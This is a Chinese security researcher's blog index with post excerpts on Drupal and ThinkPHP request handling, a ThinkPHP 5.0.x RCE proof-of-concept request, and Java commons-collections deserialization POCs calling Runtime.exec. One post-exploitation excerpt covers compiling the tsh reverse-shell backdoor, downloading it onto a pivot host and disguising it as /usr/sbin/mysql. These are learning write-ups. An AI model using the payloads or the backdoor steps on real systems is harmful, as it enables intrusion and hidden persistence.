Intro
转载自编程随想的Blog,本文的原文地址在这里。过滤了一些敏感的内容,尽量不破坏原文完整性。
正文
引子
本月初,人民币对美元的汇率【破7】。很多读者在博客评论区问及此事,俺正好借此机会写一篇相关的扫盲教程。
由于这个话题有点大,俺计划用两篇博文写完,除了今天这篇,再找时间另写一篇谈“国际金融”相关的话题。
本文的【目标读者】
如果你自认为对“宏观经济学”(尤其是其中的“货币经济学”)已经有足够的认识,那么,本文你就不用看了(以免浪费时间)。
如果你对这个领域还不熟悉,并且希望能对该领域有更【系统性】的了解,俺建议你直接去看《货币金融学》这本书。这是非常经典的教材,被欧美很多高校采用,其作者是“弗雷德里克·米什金”,俺的网盘有电子版。本文聊的内容,此书中基本都有;而且书中的内容肯定比这篇博文更加详细、更加全面。
(注:本文后续章节凡是提到《货币金融学》,都是指此书的中译本第9版)
综上所述,本文的【目标读者】是 —— 既对该领域不太懂,同时又不愿意花时间看书的那些人。
另外,考虑到目标读者多半是该领域的外行,本文中的很多术语都标注了【维基百科链接】,便于你作进一步的阅读。
“货币经济学”是啥?
Read More
0x01 Abstract
比较详细的Drupal启动以及HTTP处理、路由分发分析。避免调漏洞的时候一脸懵逼。
纸上得来终觉浅,绝知此事要躬行。
0x02 Background
环境准备
源码从这里下载
PHP版本是7.1.2
背景知识
Drupal是建立在Symfony框架之上的,详细结构在这里。Drupal的路由系统是建立在Symfony内核之上的,下图是路由和控制器的简单示意图:

还有一个详细的请求处理和渲染的流程图,图片太大,不挂了,大图在这里。

0x03 一切还从index.php开始
打开index.php,只有简洁的几行代码,一行一行看。

Read More
Abstract
此文较为详细的动态调试并分析了Thinkphp5.1的路由分发以及执行调度流程,通俗点说就是Thinkphp5.1是如何处理请求的。漏洞分析部分网上资料较多,故较为简略。网上Thinkphp5.1的源码分析较少且不完整,希望能给研究框架/漏洞的朋友提供一点小小的帮助。
Thinkphp5.1 启动流程浅析
Thinkphp5.1对底层架构做了进一步的改进,减少依赖,主要就是新增了容器(Container)、门面(Facade)、中间件(Middleware)三大块功能。
容器(Container)的功能,一句话概括就是管理对象实例,缓存已创建的实例。中间件(Middleware)如同字面意思一样,就是中间件。门面(Facade)的功能暂时不关注。
Thinkphp5.1对比Thinkphp5.0,个人感觉比较明显的差别有两点,一是使用Container来进行实例管理,调用都是动态的,非常灵活。二是在Think\App中取消了exec()方法,在Middleware中进行相关的逻辑。 这里分析的版本是Thinkphp 5.1.10,最新版本是5.1.35,基本架构一样,有一些细节大同小异。
建议阅读这篇文章 thinkphp5.1新特性 作为基础知识。
Dynamic Debugging
Container调用过程
public/index.php

5.0.x包含start.php然后静态调用App::run()方法,这里动态调用App::run方法。
Read More
WARNING
在写完这篇文章五个月后的某一天突然看起这篇文章,发现逻辑混乱,狗屁不通,我自己都看不明白。如果你要参考此篇文章,建议你手边放一份代码,边调试边看,大概你通过调试能够使自己这个漏洞有所了解,因为此文可读性极差。强烈建议你通读全文后再决定要不要通过这篇文章来学习此漏洞,以免误入歧途。
Thinkphp 5.0.x/5.1.x 变量覆盖 RCE 漏洞分析
首先讲一下遇到的一个坑点,网上5.0.0 - 5.0.23的POC都是这样的
1 2 3
| http://127.0.0.1/thinkphp/public/index.php?s=captcha POST: _method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id
|
s=captcha
需要vendor中存在topthink/think-captcha,这个只有在extend版本中存在,core版本是不存在的,如果遇到报错没回显,可以考虑这种情况。(坑了一下午
补丁

在think\Request中添加了校验,只允许$method为常规的五种方法,默认是POST。
5.0.x 漏洞分析
Read More
0x01 一支穿云箭,千军万马来相见
天地合我,我合天地,神人赴我,我赴神人,精氣合全,神氣合群,杳杳冥冥,天地濟主,聞呼即至,聞召即臨,焚香召請,功曹使者,遞奏神員,聞今召請,速赴壇前。仰頭傳香,拜請九天玄女,歷代流旅尊師,合諸仙眾,下赴壇前,有事相請,速去速來,明彰報應。
– 诸天神咒
此篇文章由浅入深,不能算是教程了,只能算是个人学习的一个log,但是还是希望把这篇东西分享出来。
0x02 一切先从POC开始
首先配置一下环境,特别简单,只需要给项目添加Maven就行了。

在这里面选择Maven就行了。我这里用的3.2.1版本的commons-collections,pom.xml如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>Apache_commoms</groupId> <artifactId>Apache_Commons_Collections1</artifactId> <version>1.0-SNAPSHOT</version>
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies> </project>
|
先来看一个简单的POC.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class commom_collection {
public static void main(String[] argv) throws Exception{ Transformer[] transformers_exec = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) }; Transformer chain = new ChainedTransformer(transformers_exec); chain.transform(chain); } }
|
这里有看起来非常眼熟的几个关键字,getMethod,invoke,exec。好像是在使用反射做一些事情,一点一点跟进去看看。
Read More
从一篇文章再探Java反序列化(Binary) - 从0开始学习Java反序列化 (2)
0x00 Intro
上一次走马观花的复现了CVE-2017-3506 & CVE-2017-10271,也算是摸到了Java反序列化的大门,这次恰好有看到了一篇Java反序列的文章 - Java Deserialization — From Discovery to Reverse Shell on Limited Environments。并不能说是一篇好文章,基本可以说是题文不符了,但是其中还是涵盖了一些可以深入学习的方向。最近有深入学习Java的打算,正好就借此为题。
0x01 从文章中寻找学习的方向
在文章中我看到了以下三个点:

既然是从WebGoat8开始,那就下载下来看看~ (github),直接java -jar webgoat-server-8.0.0.VERSION.jar --server.port=8080
就可以跑起来。对照文章所讲的反序列化的练习,可以找到这个路径。
/WebGoat-8.0.0.M21/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/plugin/InsecureDeserializationTask.java
代码很简单,接收数据解base64,然后直接进行readObject。

既然源码这么简单,直接readObject()。回想起来以前看过反序列化最简单的Demo,好像跟这个差不多。那我们为什么不尝试构造一下poc呢,而不是用ysoserial自动化构造。
get!第一个目标是不用文章的方法尝试构造poc。
0x02 尝试构造POC
于是本人天真的构造了如下POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import java.io.*;
public class Exploit { public static void main(String[] argv) throws Exception{ poc e = new poc(); FileOutputStream fos=new FileOutputStream("ser"); ObjectOutputStream objOut = new ObjectOutputStream(fos); objOut.writeObject(e); objOut.close(); } }
class poc implements Serializable{
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ in.defaultReadObject(); Runtime.getRuntime().exec("open /Applications/Calculator.app/"); } }
|
Read More
接孟氏之芳邻
起因
岁月神偷真的是岁月神偷,我在去年的这个时候,不可一世+受环境影响,开始找实习,大概是在十二月的时候收到了滴滴和长亭的Offer,果断选择了Chaitin。一月份到现在,一数居然已经过了将近十个月,马上又要到了2019了,不能不对时间的快速飞逝感到恐惧。同时也从一个小小菜鸡慢慢的转变成了一个小菜鸡。
2018年暑期在北京的实习很有正式工作的感觉,从中得到了不少的启发。从北京回来后,愈发的感觉到自己的知识的浅薄,当然,技术只是一方面,这次感觉到的是自己在各个方面知识的浅薄。随起闭关修炼之心,一是炼技,二是修心。
技 术
技术技术,技是技,术是术。技是内功,术是套路。在工作中,术得到了极大的提升,接触了许多原先并没有了解过的trick,见识了大佬们挖漏洞的骚操作。而技的提升没有那么显著。当技和术不平衡的时候,矛盾就产生了,疑惑也产生了。很多时候是知其然而不知其所以然,故需要时间去沉淀,去思考,去深究一些相关的技术细节。我又不是计算机相关学科出身,虽然早期有所接触,但是没有进行系统的科班学习,自我感觉还是对一些深刻的思想缺乏把控。现在是我第二次遇到这样的瓶颈期,希望能有所突破。
接孟氏之芳邻
昨日与leader促膝长谈,leader没有任何保留的给我提出一些十分中肯的建议,以及他内心的想法,没有上下级之间的客套与生分,让我十分感激与感动。Chaitin的技术氛围是真的好,同事们感觉是在一起玩,没有太多的工作的感觉。回忆起在北京的时候,每周五只要一有时间就跟几个同事小酌一二,现在回想起来,在那个局中没有同事之间的拘束,大家在一起放开了喝酒,那段时光是非常快乐的,所以我给那个酒局起了个名字,叫“长亭酒局”。平常跟大家一起做项目也0障碍沟通,sales有压力给我们的话,也可以及时的向上反馈。并且我觉得非常可贵的一点是Chaitin非常注重个人的发展与团队的输出。鼓励大家去研究新的技术,而不是一直扑在业务上。这一点我觉得非常的nice,并且注重分享,鼓励不同技能栈之间的人相互学习。
计划
掐指一算,自己的大学生涯也快接近了尾声,可能这是近十年中最后拥有一段比较长的时间能够系统的去学习一些东西,所以千万不能够浪费,所以需要一个计划来督促自己的学习。近期的学习目标是Java反序列化,希望能够比较深入的理解Java反序列化的漏洞,通过调漏洞的方式来进行学习,学习周期大概是在两周,同时每天晚上抽出两个小时的时间去学习计算机系统(哈工大的课程),每天填写日历的log。在Java反序列化(Weblogic,Fastjons等)的学习结束后,计划系统学习Spring的漏洞,平常Spring见得太多了,每次见都一脸懵逼,每次都一脸懵逼,摸不清套路,预计时间也在两周。剩下的日子打算找一个自己喜欢的方向,多花时间在上面进行研究,目前还没有找到一个合适的的方向,所以到时候再看啦。
Read More
后渗透的数个工具使用与坑点(tsh termite cobaltstrike 常见提权)
Intro
在某个项目中,getshell后发现了大规模内网,突然发现已经非常久没有见过正儿八经的内网了(我知道是我菜)…….好多企业现在把业务的内网放在云上,组成云内网(工作经验的感觉是这样的,不知道实际情况如何)。这次getshell发现内网后却发现:鸡儿,老子不会内网渗透了,遂重新学之。
tsh是orange写的后门.
github上的readme与实际有点不一样。
需要编译,默认是反向shell的模式。
./complie.sh os[操作系统类型] bc_host[反向shell连接的ip] bc_port[通信端口] [密码] [延迟时间]
使用Mac 10.13.6 xcode自带的gcc编译报错。

注释掉tshd.c的23行,在osx下可以正常编译。
我在实际用的时候是直接在linux下编译的。经过实战,tsh还是非常稳的,使用tsh的文件传输下载一个6G多的大文件,可以正常下载,丢包不是非常厉害,可以解压出来大部分文件。
在跳板机上使用wget将tshd文件下载下来,赋予执行权限,更名为mysql,放到/usr/sbin/
的目录下,后台运行!
在vps上只需要执行tsh -cb
,等待反向shell的链接就行了。这次遇到了一个比较坑的问题,客户的服务器的sshd设置的超时时间特别短,大概在60s?60s不操作的话就自动logout了。很蛋疼,如果要改的话需要重启sshd,因为是线上环境,没敢改。(大佬说只需要导出一个变量就好了export TMOUT=0
)
Read More